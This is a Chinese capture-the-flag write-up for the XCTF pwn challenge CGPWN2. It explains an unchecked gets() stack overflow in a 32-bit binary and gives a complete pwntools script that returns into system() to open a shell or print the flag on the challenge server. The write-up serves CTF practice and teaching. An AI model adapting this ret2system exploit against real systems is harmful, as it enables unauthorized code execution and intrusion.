攻防世界PWN
CGPWN2的wp
基本三步:checksec,file,执行文件
一个32位文件,开了NX防护,扔进IDA中查看
IDA
main中只有一个函数hello,点击查看
在我看来上面那一段,没什么太大意义,主要要是框起来的一部分
可以看出,我们有两次输入,一次fgets输入规定了长度,而第二次gets没有规定,所有这里有个漏洞。
看下列表中的其他函数发现在pwn函数中调用了system函数,
"echo hehehe"这条命令没什么作用,所以要将参数改为’\bin\sh’命令(执行shell)或’cat flag’(直接获取flag)命令。
通过给name赋值,把cat flag或/bin/sh命令
#system函数的地址和name的地址
sys_adder = 0x08048420
name_adder = 0x0804A080
0x26+4即可到达返回地址。
EXP
from pwn import *
r = remote(“111.200.241.244”,58106)
#r = process("./cgpwn")
sys_adder = 0x08048420
name_adder = 0x0804A080
payload = b’a’*0x26+b’aaaa’ + p32(sys_adder) + b’a’*4 +p32(name_adder)
r.recvuntil(“your name”)
b’please tell me your name’
r.sendline("/bin/sh")
#r.sendline(“cat flag”)
r.recvuntil(“leave some message here:”)
b’\nhello,you can leave some message here:’
r.sendline(payload)
r.interactive()
cat flag成功获取flag。
还有一种是给name赋值cat flag